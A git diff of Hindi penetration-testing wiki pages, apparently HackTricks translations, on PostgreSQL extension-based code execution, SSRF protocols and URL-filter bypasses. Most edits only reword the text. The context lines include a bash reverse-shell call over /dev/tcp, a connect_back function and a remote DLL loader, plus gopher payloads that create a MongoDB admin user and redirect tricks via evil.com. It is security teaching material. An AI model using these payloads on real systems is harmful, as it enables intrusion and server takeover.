@ -469,7 +472,9 @@ WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())
## ब्रूट-फोर्स डिटेक्शन सूची
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -8,7 +8,7 @@ PostgreSQL को विस्तारशीलता को एक मुख
संस्करण 8.1 से आगे, विस्तार पुस्तकालयों पर एक विशेष आवश्यकता लागू की गई है: उन्हें एक विशेष हेडर के साथ संकलित किया जाना चाहिए। इसके बिना, PostgreSQL उन्हें निष्पादित नहीं करेगा, यह सुनिश्चित करते हुए कि केवल संगत और संभावित रूप से सुरक्षित विस्तार का उपयोग किया जाए।
इसके अलावा, ध्यान रखें कि **यदि आप नहीं जानते कि कैसे** [**PostgreSQL का दुरुपयोग करके पीड़ित को फ़ाइलें अपलोड करें तो आपको यह पोस्ट पढ़नी चाहिए।**](big-binary-files-upload-postgresql.md)
इसके अलावा, ध्यान रखें कि **यदि आप नहीं जानते कि कैसे** [**PostgreSQL का दुरुपयोग करके पीड़ित को फ़ाइलें अपलोड करें, तो आपको यह पोस्ट पढ़नी चाहिए।**](big-binary-files-upload-postgresql.md)
### RCE in Linux
@ -28,7 +28,7 @@ CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' L
<summary>Write binary file from base64</summary>
बाइनरी को एक फ़ाइल में लिखने के लिए postgres में आपको base64 का उपयोग करने की आवश्यकता हो सकती है, यह इस मामले में सहायक होगा:
बाइनरी को पोस्टग्रेस में एक फ़ाइल में लिखने के लिए आपको base64 का उपयोग करने की आवश्यकता हो सकती है, यह इस मामले में सहायक होगा:
```sql
CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
$$
@ -75,13 +75,13 @@ HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
```
इस त्रुटि को [PostgreSQL दस्तावेज़](https://www.postgresql.org/docs/current/static/xfunc-c.html) में समझाया गया है:
> यह सुनिश्चित करने के लिए कि एक गतिशील रूप से लोड की गई ऑब्जेक्ट फ़ाइल एक असंगत सर्वर में लोड नहीं की गई है, PostgreSQL यह जांचता है कि फ़ाइल में उपयुक्त सामग्री के साथ एक "जादुई ब्लॉक" है। यह सर्वर को स्पष्ट असंगतियों का पता लगाने की अनुमति देता है, जैसे कि PostgreSQL के एक अलग प्रमुख संस्करण के लिए संकलित कोड। PostgreSQL 8.2 से एक जादुई ब्लॉक की आवश्यकता है। एक जादुई ब्लॉक शामिल करने के लिए, इसे मॉड्यूल स्रोत फ़ाइलों में से एक (और केवल एक) में लिखें, fmgr.h हेडर शामिल करने के बाद:
> यह सुनिश्चित करने के लिए कि एक गतिशील रूप से लोड की गई ऑब्जेक्ट फ़ाइल एक असंगत सर्वर में लोड नहीं की गई है, PostgreSQL यह जांचता है कि फ़ाइल में उपयुक्त सामग्री के साथ एक "जादुई ब्लॉक" है। यह सर्वर को स्पष्ट असंगतियों का पता लगाने की अनुमति देता है, जैसे कि PostgreSQL के एक अलग प्रमुख संस्करण के लिए संकलित कोड। PostgreSQL 8.2 से एक जादुई ब्लॉक की आवश्यकता है। एक जादुई ब्लॉक शामिल करने के लिए, इसे एक (और केवल एक) मॉड्यूल स्रोत फ़ाइल में लिखें, header fmgr.h शामिल करने के बाद:
>
> `#ifdef PG_MODULE_MAGIC`\
> `PG_MODULE_MAGIC;`\
> `#endif`
PostgreSQL संस्करण 8.2 के बाद, हमलावर के लिए सिस्टम का शोषण करना अधिक चुनौतीपूर्ण हो गया है। हमलावर को या तो सिस्टम पर पहले से मौजूद एक पुस्तकालय का उपयोग करना होगा या एक कस्टम पुस्तकालय अपलोड करना होगा। यह कस्टम पुस्तकालय संगत प्रमुख संस्करण के PostgreSQL के खिलाफ संकलित होना चाहिए और इसमें एक विशिष्ट "जादुई ब्लॉक" शामिल होना चाहिए। यह उपाय PostgreSQL सिस्टम का शोषण करने की कठिनाई को काफी बढ़ा देता है, क्योंकि यह सिस्टम की आर्किटेक्चर और संस्करण संगतता की गहरी समझ की आवश्यकता होती है।
PostgreSQL संस्करण 8.2 के बाद, हमलावर के लिए सिस्टम का शोषण करना अधिक चुनौतीपूर्ण हो गया है। हमलावर को या तो सिस्टम पर पहले से मौजूद एक पुस्तकालय का उपयोग करना होगा या एक कस्टम पुस्तकालय अपलोड करना होगा। यह कस्टम पुस्तकालय संगत प्रमुख संस्करण के PostgreSQL के खिलाफ संकलित होना चाहिए और इसमें एक विशिष्ट "जादुई ब्लॉक" शामिल होना चाहिए। यह उपाय PostgreSQL सिस्टम का शोषण करने की कठिनाई को काफी बढ़ा देता है, क्योंकि यह सिस्टम की वास्तुकला और संस्करण संगतता की गहरी समझ की आवश्यकता होती है।
#### पुस्तकालय संकलित करें
@ -119,9 +119,11 @@ CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAG
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
#Notice the double single quotes are needed to scape the qoutes
```
आप इस **प्रीकंपाइल की गई लाइब्रेरी** को कई विभिन्न PostgreSQL संस्करणों के लिए पा सकते हैं और यहां तक कि आप **इस प्रक्रिया को स्वचालित** भी कर सकते हैं (यदि आपके पास PostgreSQL एक्सेस है) के साथ:
आप इस **प्रीकंपाइल की गई लाइब्रेरी** को कई विभिन्न PostgreSQL संस्करणों के लिए पा सकते हैं और यहां तक कि आप **इस प्रक्रिया को स्वचालित** कर सकते हैं (यदि आपके पास PostgreSQL एक्सेस है) के साथ:
{% embed url="https://github.com/Dionach/pgexec" %}
{{#ref}}
https://github.com/Dionach/pgexec
{{#endref}}
### Windows में RCE
@ -254,15 +256,15 @@ PG_RETURN_INT32(arg + 1);
```c
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
```
[PolyUDF प्रोजेक्ट](https://github.com/rop-la/PolyUDF) एक अच्छा प्रारंभिक बिंदु है जिसमें पूरा MS Visual Studio प्रोजेक्ट और एक तैयार उपयोग करने योग्य पुस्तकालय (जिसमें: _command eval_, _exec_ और _cleanup_) मल्टीवर्जन समर्थन के साथ है।
[PolyUDF project](https://github.com/rop-la/PolyUDF) एक अच्छा प्रारंभिक बिंदु है जिसमें पूरा MS Visual Studio प्रोजेक्ट और एक तैयार उपयोग करने योग्य पुस्तकालय (जिसमें: _command eval_, _exec_ और _cleanup_) मल्टीवर्जन समर्थन के साथ है।
### नवीनतम Prostgres संस्करणों में RCE
**नवीनतम संस्करणों** में PostgreSQL, प्रतिबंध लगाए गए हैं जहाँ `superuser` को **विशिष्ट निर्देशिकाओं** के अलावा साझा पुस्तकालय फ़ाइलें **लोड करने** से **रोक दिया गया है**, जैसे Windows पर `C:\Program Files\PostgreSQL\11\lib` या \*nix सिस्टम पर `/var/lib/postgresql/11/lib`। ये निर्देशिकाएँ NETWORK_SERVICE या postgres खातों द्वारा लिखने के संचालन के खिलाफ **सुरक्षित** हैं।
**नवीनतम संस्करणों** में PostgreSQL, प्रतिबंध लगाए गए हैं जहाँ `superuser` को **विशिष्ट निर्देशिकाओं** के अलावा साझा पुस्तकालय फ़ाइलें **लोड करने** से **रोक दिया गया** है, जैसे Windows पर `C:\Program Files\PostgreSQL\11\lib` या \*nix सिस्टम पर `/var/lib/postgresql/11/lib`। ये निर्देशिकाएँ NETWORK_SERVICE या postgres खातों द्वारा लिखने के संचालन के खिलाफ **सुरक्षित** हैं।
इन प्रतिबंधों के बावजूद, एक प्रमाणित डेटाबेस `superuser` के लिए "large objects" का उपयोग करके फ़ाइल सिस्टम में **बाइनरी फ़ाइलें लिखना** संभव है। यह क्षमता `C:\Program Files\PostgreSQL\11\data` निर्देशिका के भीतर लिखने तक फैली हुई है, जो तालिकाओं को अपडेट या बनाने जैसे डेटाबेस संचालन के लिए आवश्यक है।
इन प्रतिबंधों के बावजूद, एक प्रमाणित डेटाबेस `superuser` के लिए "large objects" का उपयोग करके फ़ाइल सिस्टम में **बाइनरी फ़ाइलें लिखना** संभव है। यह क्षमता `C:\Program Files\PostgreSQL\11\data` निर्देशिका के भीतर लिखने तक फैली हुई है, जो तालिकाओं को अपडेट करने या बनाने जैसे डेटाबेस संचालन के लिए आवश्यक है।
`CREATE FUNCTION` कमांड से एक महत्वपूर्ण भेद्यता उत्पन्न होती है, जो डेटा निर्देशिका में **निर्देशिका ट्रैवर्सल** की अनुमति देती है। परिणामस्वरूप, एक प्रमाणित हमलावर इस ट्रैवर्सल का **शोषण** करके डेटा निर्देशिका में एक साझा पुस्तकालय फ़ाइल लिख सकता है और फिर उसे **लोड कर सकता है**। यह शोषण हमलावर को मनमाने कोड को निष्पादित करने की अनुमति देता है, जिससे सिस्टम पर मूल कोड निष्पादन प्राप्त होता है।
`CREATE FUNCTION` कमांड से एक महत्वपूर्ण भेद्यता उत्पन्न होती है, जो डेटा निर्देशिका में **निर्देशिका यात्रा** की अनुमति देती है। परिणामस्वरूप, एक प्रमाणित हमलावर इस यात्रा का **शोषण** कर सकता है ताकि डेटा निर्देशिका में एक साझा पुस्तकालय फ़ाइल लिखी जा सके और फिर उसे **लोड किया जा सके**। यह शोषण हमलावर को मनमाने कोड को निष्पादित करने की अनुमति देता है, जिससे सिस्टम पर मूल कोड निष्पादन प्राप्त होता है।
#### हमले का प्रवाह
@ -277,7 +279,7 @@ big-binary-files-upload-postgresql.md
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
select connect_back('192.168.100.54', 1234);
```
_ध्यान दें कि आपको `.dll` एक्सटेंशन जोड़ने की आवश्यकता नहीं है क्योंकि create फ़ंक्शन इसे जोड़ देगा।_
_ध्यान दें कि आपको `.dll` एक्सटेंशन जोड़ने की आवश्यकता नहीं है क्योंकि create function इसे जोड़ देगा।_
अधिक जानकारी के लिए **यहाँ पढ़ें**[ **मूल प्रकाशन**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**।**\
उस प्रकाशन में **यह था** [**कोड जो postgres एक्सटेंशन उत्पन्न करने के लिए उपयोग किया गया**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_postgres एक्सटेंशन को संकलित करने के लिए किसी भी पिछले संस्करण को पढ़ें_)।\

View File

@ -4,7 +4,7 @@
## मूल जानकारी
एक **सर्वर-साइड अनुरोध धोखाधड़ी (SSRF)** सुरक्षा दोष तब उत्पन्न होता है जब एक हमलावर एक **सर्वर-साइड एप्लिकेशन** को अपने द्वारा चुने गए डोमेन पर **HTTP अनुरोध** करने के लिए हेरफेर करता है। यह सुरक्षा दोष सर्वर को हमलावर द्वारा निर्देशित मनमाने बाहरी अनुरोधों के प्रति उजागर करता है।
एक **सर्वर-साइड अनुरोध धोखाधड़ी (SSRF)** सुरक्षा दोष तब होता है जब एक हमलावर एक **सर्वर-साइड एप्लिकेशन** को अपने द्वारा चुने गए डोमेन पर **HTTP अनुरोध** करने के लिए हेरफेर करता है। यह सुरक्षा दोष सर्वर को हमलावर द्वारा निर्देशित मनमाने बाहरी अनुरोधों के प्रति उजागर करता है।
## SSRF कैप्चर करें
@ -30,7 +30,7 @@ url-format-bypass.md
### ओपन रीडायरेक्ट के माध्यम से बायपास
यदि सर्वर सही तरीके से सुरक्षित है, तो आप **वेब पृष्ठ के अंदर एक ओपन रीडायरेक्ट का लाभ उठाकर सभी प्रतिबंधों को बायपास कर सकते हैं**। क्योंकि वेबपृष्ठ **समान डोमेन के लिए SSRF की अनुमति देगा** और शायद **रीडायरेक्ट का पालन करेगा**, आप **ओपन रीडायरेक्ट का लाभ उठाकर सर्वर को आंतरिक किसी भी संसाधन तक पहुचने के लिए मजबूर कर सकते हैं**।\
यदि सर्वर सही तरीके से सुरक्षित है तो आप **वेब पृष्ठ के अंदर एक ओपन रीडायरेक्ट का लाभ उठाकर सभी प्रतिबंधों को बायपास कर सकते हैं**। क्योंकि वेबपृष्ठ **समान डोमेन के लिए SSRF की अनुमति देगा** और शायद **रीडायरेक्ट का पालन करेगा**, आप **ओपन रीडायरेक्ट का लाभ उठाकर सर्वर को आंतरिक किसी भी संसाधन तक पहुचने के लिए मजबूर कर सकते हैं**।\
यहां और पढ़ें: [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf)
## प्रोटोकॉल
@ -38,13 +38,13 @@ url-format-bypass.md
- **file://**
- URL स्कीम `file://` का संदर्भ दिया गया है, जो सीधे `/etc/passwd` की ओर इशारा करता है: `file:///etc/passwd`
- **dict://**
- DICT URL स्कीम को DICT प्रोटोकॉल के माध्यम से परिभाषाओं या शब्द सूचियों तक पहुचने के लिए उपयोग किया जाता है। एक उदाहरण में एक विशेष शब्द, डेटाबेस, और प्रविष्टि संख्या को लक्षित करने वाले एक निर्मित URL को दर्शाया गया है, साथ ही एक PHP स्क्रिप्ट का उदाहरण दिया गया है जिसे हमलावर द्वारा प्रदान किए गए क्रेडेंशियल्स का उपयोग करके DICT सर्वर से कनेक्ट करने के लिए संभावित रूप से दुरुपयोग किया जा सकता है: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
- DICT URL स्कीम को DICT प्रोटोकॉल के माध्यम से परिभाषाओं या शब्द सूचियों तक पहुचने के लिए उपयोग किया जाता है। एक उदाहरण दिया गया है जो एक विशिष्ट शब्द, डेटाबेस, और प्रविष्टि संख्या को लक्षित करने वाले एक निर्मित URL को दर्शाता है, साथ ही एक PHP स्क्रिप्ट के संभावित दुरुपयोग का उदाहरण भी है जो हमलावर द्वारा प्रदान किए गए क्रेडेंशियल्स का उपयोग करके DICT सर्वर से कनेक्ट करने के लिए है: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
- **SFTP://**
- इसे सुरक्षित शेल के माध्यम से सुरक्षित फ़ाइल स्थानांतरण के लिए एक प्रोटोकॉल के रूप में पहचाना गया है, एक उदाहरण दिया गया है जो दिखाता है कि एक PHP स्क्रिप्ट को एक दुर्भावनापूर्ण SFTP सर्वर से कनेक्ट करने के लिए कैसे दुरुपयोग किया जा सकता है: `url=sftp://generic.com:11111/`
- **TFTP://**
- ट्रिवियल फ़ाइल स्थानांतरण प्रोटोकॉल, जो UDP पर संचालित होता है, का उल्लेख किया गया है जिसमें एक PHP स्क्रिप्ट का उदाहरण है जिसे TFTP सर्वर पर अनुरोध भेजने के लिए डिज़ाइन किया गया है। 'generic.com' पर पोर्ट '12346' के लिए फ़ाइल 'TESTUDPPACKET' के लिए एक TFTP अनुरोध किया गया है: `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
- ट्रिवियल फ़ाइल स्थानांतरण प्रोटोकॉल, जो UDP पर संचालित होता है, का उल्लेख किया गया है जिसमें एक PHP स्क्रिप्ट का उदाहरण है जो TFTP सर्वर को अनुरोध भेजने के लिए डिज़ाइन किया गया है। 'generic.com' पर पोर्ट '12346' के लिए फ़ाइल 'TESTUDPPACKET' के लिए एक TFTP अनुरोध किया गया है: `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
- **LDAP://**
- यह खंड लाइटवेट डायरेक्टरी एक्सेस प्रोटोकॉल को कवर करता है, जो IP नेटवर्क पर वितरित निर्देशिका सूचना सेवाओं का प्रबंधन और पहुच के लिए इसके उपयोग पर जोर देता है। लोकलहोस्ट पर LDAP सर्वर के साथ इंटरैक्ट करें: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
- यह खंड लाइटवेट डायरेक्टरी एक्सेस प्रोटोकॉल को कवर करता है, जो IP नेटवर्क पर वितरित निर्देशिका सूचना सेवाओं का प्रबंधन और पहुच के लिए इसके उपयोग पर जोर देता है। लोकलहोस्ट पर LDAP सर्वर के साथ इंटरैक्ट करें: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
- **SMTP**
- SSRF सुरक्षा दोषों का लाभ उठाने के लिए एक विधि का वर्णन किया गया है ताकि लोकलहोस्ट पर SMTP सेवाओं के साथ इंटरैक्ट किया जा सके, जिसमें आंतरिक डोमेन नामों को प्रकट करने और उस जानकारी के आधार पर आगे की जांच करने के लिए कदम शामिल हैं।
```
@ -55,7 +55,7 @@ From https://twitter.com/har1sec/status/1182255952055164929
4. connect
```
- **Curl URL globbing - WAF बायपास**
- यदि SSRF **curl** द्वारा निष्पादित किया जाता है, तो curl में [**URL globbing**](https://everything.curl.dev/cmdline/globbing) नामक एक विशेषता है जो WAFs को बायपास करने के लिए उपयोगी हो सकती है। उदाहरण के लिए, इस [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) में आप **`file` प्रोटोकॉल के माध्यम से पथ यात्रा** के लिए यह उदाहरण पा सकते हैं:
- यदि SSRF **curl** द्वारा निष्पादित किया जाता है, तो curl में [**URL globbing**](https://everything.curl.dev/cmdline/globbing) नामक एक विशेषता है जो WAFs को बायपास करने के लिए उपयोगी हो सकती है। उदाहरण के लिए, इस [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) में आप **`file` प्रोटोकॉल** के माध्यम से एक **पथ ट्रैवर्सल** का उदाहरण पा सकते हैं:
```
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
```
@ -65,7 +65,7 @@ file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
### Gopher://
इस प्रोटोकॉल का उपयोग करके आप **IP, पोर्ट और बाइट्स** निर्दिष्ट कर सकते हैं जिन्हें आप चाहते हैं कि सर्वर **भेजे**। फिर, आप मूल रूप से एक SSRF का लाभ उठाकर **किसी भी TCP सर्वर** के साथ **संवाद** कर सकते हैं (लेकिन आपको पहले सेवा से बात करना आना चाहिए)।\
भाग्यवश, आप [Gopherus](https://github.com/tarunkant/Gopherus) का उपयोग कई सेवाओं के लिए पेलोड बनाने के लिए कर सकते हैं। इसके अतिरिक्त, [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) का उपयोग _Java RMI_ सेवाओं के लिए _gopher_ पेलोड बनाने के लिए किया जा सकता है।
भाग्यवश, आप [Gopherus](https://github.com/tarunkant/Gopherus) का उपयोग करके कई सेवाओं के लिए पेलोड बना सकते हैं। इसके अतिरिक्त, [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) का उपयोग _Java RMI_ सेवाओं के लिए _gopher_ पेलोड बनाने के लिए किया जा सकता है।
**Gopher smtp**
```
@ -95,7 +95,7 @@ header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.
```
#### Gopher MongoDB -- उपयोगकर्ता बनाएं जिसका उपयोगकर्ता नाम=admin, पासवर्ड=admin123 और अनुमति=administrator हो
#### Gopher MongoDB -- उपयोगकर्ता बनाएं जिसका उपयोगकर्ता नाम=admin हो, पासवर्ड=admin123 हो और अनुमति=administrator हो
```bash
# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
@ -121,7 +121,7 @@ ssl_preread on;
}
}
```
इस कॉन्फ़िगरेशन में, सर्वर नाम संकेत (SNI) फ़ील्ड से मान को सीधे बैकएंड के पते के रूप में उपयोग किया जाता है। यह सेटअप सर्वर-साइड अनुरोध धोखाधड़ी (SSRF) के लिए एक भेद्यता को उजागर करता है, जिसे केवल SNI फ़ील्ड में इच्छित IP पते या डोमेन नाम को निर्दिष्ट करके शोष किया जा सकता है। एक शोषण उदाहरण जो `openssl` कमांड का उपयोग करके किसी मनमाने बैकएंड, जैसे `internal.host.com`, से कनेक्शन को मजबूर करता है, नीचे दिया गया है:
इस कॉन्फ़िगरेशन में, Server Name Indication (SNI) फ़ील्ड से प्राप्त मान को सीधे बैकएंड के पते के रूप में उपयोग किया जाता है। यह सेटअप Server-Side Request Forgery (SSRF) के लिए एक भेद्यता को उजागर करता है, जिसे केवल SNI फ़ील्ड में इच्छित IP पते या डोमेन नाम को निर्दिष्ट करके शोषित किया जा सकता है। एक शोषण उदाहरण दिया गया है जो `openssl` कमांड का उपयोग करके किसी मनमाने बैकएंड, जैसे `internal.host.com`, से कनेक्शन को मजबूर करता है:
```bash
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
```
@ -133,7 +133,7 @@ openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
## PDFs रेंडरिंग
यदि वेब पृष्ठ स्वचालित रूप से आपके द्वारा प्रदान की गई कुछ जानकारी के साथ एक PDF बना रहा है, तो आप **कुछ JS डाल सकते हैं जो PDF निर्माता** (सर्वर) द्वारा PDF बनाते समय निष्पादित किया जाएगा और आप SSRF का दुरुपयोग कर सकेंगे। [**यहा अधिक जानकारी प्राप्त करें**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
यदि वेब पृष्ठ स्वचालित रूप से आपके द्वारा प्रदान की गई कुछ जानकारी के साथ एक PDF बना रहा है, तो आप **कुछ JS डाल सकते हैं जो PDF निर्माता** (सर्वर) द्वारा PDF बनाते समय निष्पादित किया जाएगा और आप SSRF का दुरुपयोग कर सकेंगे। [**यहा अधिक जानकारी प्राप्त करें**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
## SSRF से DoS तक
@ -149,7 +149,7 @@ openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
## Gopher के लिए SSRF रीडायरेक्ट
कुछ शोषणों के लिए आपको **रीडायरेक्ट प्रतिक्रिया भेजने** की आवश्यकता हो सकती है (संभवतः गॉफ़र जैसे विभिन्न प्रोटोकॉल का उपयोग करने के लिए)। यहा आपके पास रीडायरेक्ट के साथ प्रतिक्रिया देने के लिए विभिन्न पायथन कोड हैं:
कुछ शोषणों के लिए आपको **एक रीडायरेक्ट प्रतिक्रिया भेजने** की आवश्यकता हो सकती है (संभवतः गॉफ़र जैसे विभिन्न प्रोटोकॉल का उपयोग करने के लिए)। यहा आपके पास रीडायरेक्ट के साथ प्रतिक्रिया देने के लिए विभिन्न पायथन कोड हैं:
```python
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
@ -253,7 +253,7 @@ Connection: close
```
## DNS Rebidding CORS/SOP बायपास
यदि आप **CORS/SOP** के कारण **स्थानीय IP** से **सामग्री निकालने** में **समस्याओं** का सामना कर रहे हैं, तो **DNS Rebidding** का उपयोग उस सीमा को बायपास करने के लिए किया जा सकता है:
यदि आप **CORS/SOP** के कारण **स्थानीय IP से सामग्री निकालने में समस्याएँ** का सामना कर रहे हैं, तो **DNS Rebidding** का उपयोग उस सीमा को बायपास करने के लिए किया जा सकता है:
{{#ref}}
../cors-bypass.md
@ -271,20 +271,20 @@ Connection: close
- **SSRF**
- **आउटबाउंड TLS सत्र**
- **स्थानीय पोर्ट पर सामान**
- **स्थानीय पोर्ट पर सामग्री**
हमला:
1. उपयोगकर्ता/बॉट से **एक डोमेन** तक **पहुँच** करने के लिए कहें जो **हमलावर** द्वारा नियंत्रित है
2. **DNS** का **TTL** **0** सेकंड है (इसलिए पीड़ित जल्द ही डोमेन के IP की जांच करेगा)
1. उपयोगकर्ता/बॉट से **एक डोमेन** तक **पहुँच** करने के लिए कहें जो **हमलावर** द्वारा नियंत्रित है
2. **DNS** का **TTL** **0** सेकंड है (इसलिए पीड़ित जल्द ही डोमेन के IP की जांच करेगा)
3. पीड़ित और हमलावर के डोमेन के बीच एक **TLS कनेक्शन** बनाया जाता है। हमलावर **सत्र ID या सत्र टिकट** के अंदर **पेलोड** पेश करता है।
4. **डोमेन** अपने खिलाफ **अनंत लूप** के रीडायरेक्ट शुरू करेगा। इसका लक्ष्य यह है कि उपयोगकर्ता/बॉट डोमेन तक पहुँचता रहे जब तक कि वह **फिर से** डोमेन का **DNS अनुरोध** न करे।
5. DNS अनुरोध में अब एक **निजी IP** पता दिया जाता है (उदाहरण के लिए 127.0.0.1)
6. उपयोगकर्ता/बॉट **TLS कनेक्शन को फिर से स्थापित करने** की कोशिश करेगा और ऐसा करने के लिए वह **सत्र** ID/टिकट ID (जहाँ **पेलोड** हमलावर का था) भेजेगा। तो बधाई हो, आपने **उपयोगकर्ता/बॉट को खुद पर हमला करने** के लिए कहने में सफलता प्राप्त की।
5. DNS अनुरोध में अब एक **निजी IP** पता दिया जाता है (उदाहरण के लिए 127.0.0.1)
6. उपयोगकर्ता/बॉट **TLS कनेक्शन को फिर से स्थापित करने** की कोशिश करेगा और ऐसा करने के लिए वह **सत्र** ID/टिकट ID (जहाँ **पेलोड** था) भेजेगा। तो बधाई हो, आपने **उपयोगकर्ता/बॉट को खुद पर हमला करने** के लिए कहने में सफलता प्राप्त की।
ध्यान दें कि इस हमले के दौरान, यदि आप localhost:11211 (_memcache_) पर हमला करना चाहते हैं, तो आपको पीड़ित को www.attacker.com:11211 के साथ प्रारंभिक कनेक्शन स्थापित करने के लिए कहना होगा ( **पोर्ट हमेशा समान होना चाहिए**)।\
इस हमले को **अंजाम देने के लिए आप इस उपकरण का उपयोग कर सकते हैं**: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
**अधिक जानकारी** के लिए उस वार्ता को देखें जहाँ इस हमले की व्याख्या की गई है: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference)
**अधिक जानकारी के लिए** उस वार्ता को देखें जहाँ इस हमले की व्याख्या की गई है: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference)
## ब्लाइंड SSRF
@ -292,7 +292,7 @@ Connection: close
### समय आधारित SSRF
**सर्वर से प्रतिक्रियाओं का समय** जांचने से यह **जानना संभव हो सकता है कि कोई संसाधन मौजूद है या नहीं** (शायद एक मौजूदा संसाधन तक पहुँचने में अधिक समय लगता है बनिस्बत एक ऐसा संसाधन जो मौजूद नहीं है)
**सर्वर से प्रतिक्रियाओं का समय** जांचने से यह **जानना संभव हो सकता है कि कोई संसाधन मौजूद है या नहीं** (शायद एक मौजूदा संसाधन तक पहुँचने में अधिक समय लगता है बनिस्बत एक ऐसा संसाधन जो मौजूद नहीं है)
## क्लाउड SSRF शोषण
@ -333,15 +333,17 @@ SSRF कमजोरियों का पता लगाने और शो
- [SSRF उपयोग पर ब्लॉग पोस्ट](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
_remote-method-guesser_ एक _Java RMI_ कमजोरियों का स्कैनर है जो अधिकांश सामान्य _Java RMI_ कमजोरियों के लिए हमले के संचालन का समर्थन करता है। उपलब्ध अधिकांश संचालन `--ssrf` विकल्प का समर्थन करते हैं, जो अनुरोधित संचालन के लिए _SSRF_ पेलोड उत्पन्न करता है`--gopher` विकल्प के साथ, सीधे उपयोग के लिए _gopher_ पेलोड उत्पन्न किए जा सकते हैं।
_remote-method-guesser_ एक _Java RMI_ कमजोरियों का स्कैनर है जो अधिकांश सामान्य _Java RMI_ कमजोरियों के लिए हमले के संचालन का समर्थन करता है। उपलब्ध अधिकांश संचालन `--ssrf` विकल्प का समर्थन करते हैं, अनुरोधित संचालन के लिए _SSRF_ पेलोड उत्पन्न करने के लिए`--gopher` विकल्प के साथ, सीधे उपयोग के लिए _gopher_ पेलोड उत्पन्न किए जा सकते हैं।
### [SSRF Proxy](https://github.com/bcoles/ssrf_proxy)
SSRF Proxy एक मल्टी-थ्रेडेड HTTP प्रॉक्सी सर्वर है जिसे HTTP सर्वरों के माध्यम से क्लाइंट HTTP ट्रैफ़िक को टनल करने के लिए डिज़ाइन किया गया है जो सर्वर-साइड अनुरोध धोखाधड़ी (SSRF) के लिए कमजोर हैं
SSRF Proxy एक मल्टी-थ्रेडेड HTTP प्रॉक्सी सर्वर है जिसे सर्वर-साइड अनुरोध धोखाधड़ी (SSRF) के प्रति संवेदनशील HTTP सर्वरों के माध्यम से क्लाइंट HTTP ट्रैफ़िक को टनल करने के लिए डिज़ाइन किया गया है।
### अभ्यास करने के लिए
{% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %}
{{#ref}}
https://github.com/incredibleindishell/SSRF_Vulnerable_Lab
{{#endref}}
## संदर्भ

View File

@ -77,7 +77,7 @@ spoofed.burpcollaborator.net = 127.0.0.1
```
![](<../../images/image (776).png>)
**Burp एक्सटेंशन** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) IP फॉर्मेटिंग बायपास को लागू करता है।
**Burp extension** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) IP फॉर्मेटिंग बायपास को लागू करता है।
### डोमेन पार्सर
```bash
@ -145,7 +145,7 @@ next={domain}&next=attacker.com
```
### Paths and Extensions Bypass
यदि आपसे अपेक्षित है कि URL एक पथ या एक एक्सटेंशन में समाप्त होना चाहिए, या एक पथ होना चाहिए, तो आप निम्नलिखित बायपास में से एक प्रयास कर सकते हैं:
यदि आपसे अपेक्षित है कि URL एक पथ या एक एक्सटेंशन में समाप्त होना चाहिए, या एक पथ होना चाहिए, तो आप निम्नलिखित बायपास में से एक आजमा सकते हैं:
```
https://metadata/vulerable/path#/expected/path
https://metadata/vulerable/path#.extension
@ -153,13 +153,15 @@ https://metadata/expected/path/..%2f..%2f/vulnerable/path
```
### Fuzzing
